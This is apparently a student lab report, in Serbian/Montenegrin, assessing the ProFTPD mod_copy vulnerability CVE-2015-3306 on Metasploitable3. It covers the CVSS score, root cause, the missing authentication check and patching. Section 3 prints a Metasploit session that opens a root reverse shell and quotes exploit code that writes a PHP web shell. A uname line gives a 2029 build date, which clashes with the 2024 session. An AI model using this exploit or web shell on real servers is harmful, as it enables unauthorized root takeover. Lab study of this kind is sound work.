Vulnerability Assessment Report

Ime i prezime: Milica Sladaković
Tim: 5
Datum: 26.10.2024.
Scan Tool: *Nessus* (10.8.3)
Test okruženje: *Metasploitable3*

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3306
- **Opis:**
  Ova ranjivost utiče na ProFTPD FTP servis koji pokreće modul `mod_copy`, koji je dostupan na portu 21. Servis dozvoljava neautorizovan pristup komandama `SITE CPFR` (*copy from*) i `SITE CPTO` (*copy to*). Napadač koji ima mrežni pristup FTP servisu na portu 21 može iskoristiti ovu grešku za čitanje ili pisanje proizvoljnih datoteka na bilo kojoj putanji dostupnoj na serveru, što rezultuje izloženošću podataka i rizicima integriteta.

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 9.8 (*Critical*)

- **Vektor:**
  `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
  `AV:N` - *Attack Vector: Network* (eksploatacija preko mreže, napadač ne mora fizički pristupiti sistemu).
  `AC:L` - *Attack Complexity: Low* (napad se lako izvršava, postoje već dokumentovani *exploit*-i, nije potrebno veliko tehničko znanje).
  `PR:N` - *Privileges Required: None* (korisnik ne mora imati posebne privilegije, što znači da ranjivost može biti iskorišćenja bez potrebe za prethodnom autentifikacijom ili pristup adminovom nalogu).
  `UI:N` - *User Interaction: None* (ranjivost se može eksploitovati slanjem zahtjeva ka sistemu bez potrebe za direktnom korisničkom interakcijom).
  `S:U` - *Scope: Unchanged* (napad utiče samo na ProFTPD FTP servis i ne širi se na ostale servise).
  `C:H` - *Confidentiality: High* (napadač može pristupiti osjetljivim informacijama, kao što je npr. datoteka `/etc/passwd`).
  `I:H` - *Integrity: High* (napadač može izmjeniti podatke, čime je narušen njihov integritet).

`A:H` - *Availability: High* (ranjivost može dovesti do izvršavanja koda na mašini servera, čime napadač može uticati na dostupnost sistema).

- **Opravdanje:**
  Ranjivost utiče na sve sisteme koji koriste ProFTPD instancu sa `mod_copi` modulom, bez zabrane pristupa neovlašćenim napadačima. Obzirom da je napadačima potrebno minimalno tehničko znanje kako bi mogli lako da iskoriste ovu ranjivost na mreži, te da sa pristupom za čitanje i modifikovanje datoteka mogu čitati i modifikovati osjetljive podatke, kritični CVSS skor je opravdan.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da, na Exploit-DB-u (ID: 36742, 36803).

- **Opis eksploita:**
  Biće objašnjen 36742 jer 36803 nije EDB verifikovan.
  Metasploitable radni okvir (koji se pokreće komandom `msfconsole`) u sebi ima jedan *exploit* pod nazivom `exploit/unix/ftp/proftpd_modcopy_exec`. Upotrebom ovog *exploit*-a, napadač može da upiše maliciozni *payload* u neki direktorijum, npr. `/tmp` i da ga izvrši. Ovaj *exploit* targetira FTP servis na portu 21, i koristeći komande kao što je whoami može da pristupi osjetljivim podacima. Na listingu ispod, prikazan je tok izvrašavanja *exploit*-a.

```
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 192.168.0.32
LHOST => 192.168.0.32
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set TARGETPATH /tmp
TARGETPATH => /tmp
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 192.168.0.32:4444
[*] 192.168.56.3:21 - Connected to FTP server
[*] 192.168.56.3:21 - Sending copy commands to FTP server
[*] 192.168.56.3:21 - Copying payload to target server
[*] 192.168.56.3:21 - Executing payload
[*] Command shell session 1 opened (192.168.0.32:4444 -> 192.168.56.3:35838) at 2024-10-26 14:25:01
+0000

id
uid=0(root) gid=0(root) groups=0(root)

whoami
root

uname -a
Linux metasploitable3 4.4.0-142-generic #168-Ubuntu SMP Mon Jan 1 11:26:59 UTC 2029 x86_64 GNU/Linux

exit
[*] Command shell session 1 closed.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) >
```

- **Kod eksploita (ukoliko postoji):**
  Kod je u potpunosti dostupan na *Github*-u. U nastavku su prikazani najznačajniji dijelovi koda.

  Na sljedećem listingu se vidi dio koda koji provjerava da li je odgovor sa servera 350, što znači da je dopušteno da se izvrše komande iz *mod_copy* bez potrebe za autorizacijom:

```
def check
  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
  res = sock.get_once(-1, 30)
  if res.include?('220')
        sock.puts("SITE CPFR /etc/passwd\r\n")
        res = sock.get_once(-1, 10)
        if res.include?('350')
        return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was
successful")
        end
  end
  CheckCode::Safe
ensure
  sock.close unless sock.nil?
end
```

  Na sljedećem listingu se vidi dio koda u kom se u *target* direktorijum kopira sadržaj PHP *payload*-a, koji može da izvrši komande dobijene preko *GET* parametra:

```
def exploit
  get_arg = rand_text_alphanumeric(5..7)
  payload_name = rand_text_alphanumeric(5..7) + '.php'

  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

  sock.puts("SITE CPFR /proc/self/cmdline\r\n")
  sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET['#{get_arg}']);?>\r\n")
```

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost je bila prisutna od početka, tako što se u funkciji `CPTO` nisu provjeravala prava pristupa. Takođe, nije bilo moguće onemogućiti modul `mod_copy`. Sve ovo je ispravljeno u *commit*-u `35b65aa` (april 2015. godine).

- **Primer Koda (ako je primenljivo):**
  Dio koda koji je nedostajao kako bi se spriječila ranjivost je provjera prava pristupa:

```
authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE);
if (authenticated == NULL || *authenticated == FALSE) {
        pr_response_add_err(R_530, _("Please login with USER and PASS"));

        pr_cmd_set_errno(cmd, EPERM);
        errno = EPERM;
        return PR_ERROR(cmd);
}
```

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da

- **Mitigation Strategy:**
  Da bi se izbjegla ova ranjivost, potrebno je ažurirati verziju ProFTPD na veću od 1.3.5a prateći ovo uputstvo.